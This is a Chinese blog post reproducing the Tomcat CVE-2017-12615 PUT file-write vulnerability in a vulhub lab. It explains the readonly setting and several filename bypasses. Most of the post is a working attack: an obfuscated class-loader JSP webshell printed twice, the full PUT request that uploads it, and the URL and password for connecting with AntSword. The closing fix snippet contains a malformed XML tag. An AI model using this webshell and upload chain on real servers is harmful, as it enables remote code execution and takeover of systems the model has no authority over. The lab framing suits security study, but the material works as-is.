Featured image of post 【Tomcat漏洞复现】CVE-2017-12615任意文件写入

【Tomcat漏洞复现】CVE-2017-12615任意文件写入

文章共1074字

漏洞详情

当 Tomcat 运行在 Windows 系统且启用了 HTTP PUT 方法(通过将 readonly 参数设置为 false)时,攻击者可构造恶意请求上传 JSP 文件,导致服务器执行任意代码,进而引发数据泄露或服务器权限被控制。
关键点:

  • 触发条件:需手动修改 conf/web.xml 文件中的 readonly 参数为 false(默认值为 true,PUT/DELETE 方法被禁用)。
  • 绕过限制:Tomcat 默认通过 JspServlet 处理 .jsp 文件的上传,但攻击者可通过以下方式绕过限制,使文件由处理静态资源的 DefaultServlet 处理:
    • 文件名后添加空格(evil.jsp%20,利用 Windows 不允许文件名以空格结尾的特性)。
    • 使用 NTFS 文件流特性(evil.jsp::$DATA)。
    • 文件名后添加斜杠(evil.jsp/,此方法甚至影响 Linux 系统及 Tomcat 5.x-9.x 版本)4711。
      影响范围:
  • 受影响的 Tomcat 版本
    • Apache Tomcat 7.0.0 至 7.0.81(官方公告范围)。
    • 部分测试显示 Tomcat 8.5.19 等版本也可能受影响。
  • 操作系统:主要针对 Windows,但通过添加斜杠的绕过方式(evil.jsp/)可扩展至 Linux 系统。
    攻击思路:
    ​ 上传木马文件,webshell管理工具进行连接

环境搭建

使用vulhub进行搭建:

1
2
3
4
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d
docker ps
http://192.168.197.140:8080/

image.png

漏洞复现

burpsuite抓包
image.png
使用webshell generate快速生成木马,项目地址:

1
https://github.com/cseroad/Webshell_Generate

image.png
一句话木马:

1
<%  String H9991 = request.getParameter("123");if (H9991 != null) { class EdnMF480 extends/*Z#гдh*u@!h0S4OG4fI8*/ClassLoader { EdnMF480(ClassLoader L0YKXC) { super(L0YKXC); } public Class H9991(byte[] b) { return super.defineClass(b, 0, b.length);}}byte[] bytes = null;try {int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98}; String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 16; ccstr = ccstr + (char) aa[i];}Class A001M = Class.forName(ccstr);String k = new String(new byte[]{100,101,99,111,100,101,66,117,102,102,101,114});bytes = (byte[]) A001M.getMethod(k, String.class).invoke(A001M.newInstance(), H9991);}catch (Exception e) {bytes = javax.xml.bind.DatatypeConverter.parseBase64Binary(H9991);}Class aClass = new EdnMF480(Thread.currentThread().getContextClassLoader()).H9991(bytes);Object o = aClass.newInstance();o.equals(pageContext);} else {} %>

将生成的木马上传。这里使用PUT方法进行上传,文件名可以是/xxx.jsp//xxx.jsp%20/xxx::$DATA

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
PUT /123.jsp/ HTTP/1.1
Host: 192.168.197.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 946

<%  String H9991 = request.getParameter("123");if (H9991 != null) { class EdnMF480 extends/*Z#гдh*u@!h0S4OG4fI8*/ClassLoader { EdnMF480(ClassLoader L0YKXC) { super(L0YKXC); } public Class H9991(byte[] b) { return super.defineClass(b, 0, b.length);}}byte[] bytes = null;try {int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98}; String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 16; ccstr = ccstr + (char) aa[i];}Class A001M = Class.forName(ccstr);String k = new String(new byte[]{100,101,99,111,100,101,66,117,102,102,101,114});bytes = (byte[]) A001M.getMethod(k, String.class).invoke(A001M.newInstance(), H9991);}catch (Exception e) {bytes = javax.xml.bind.DatatypeConverter.parseBase64Binary(H9991);}Class aClass = new EdnMF480(Thread.currentThread().getContextClassLoader()).H9991(bytes);Object o = aClass.newInstance();o.equals(pageContext);} else {} %>

image.png
返回201即上传成功,使用蚁剑进行连接

1
2
http://192.168.197.140:8080/123.jsp
密码:123

image.png

绕过姿势

1
2
3
4
5
6
7
8
1.Windows下不允许文件以空格结尾以
PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格

2.WindowsNTFS流
Put/a001.jsp::$DATA HTTP/1.1

3. /在文件名中是非法的, 也会被去除(Linux/Windows) 
Put/a001.jsp/http:/1.1

修复建议

把readonly 改成true

1
<init-param> <param-name>readonly</param-name> <paramvalue>true</param-value></init-param>
站点已运行计算中...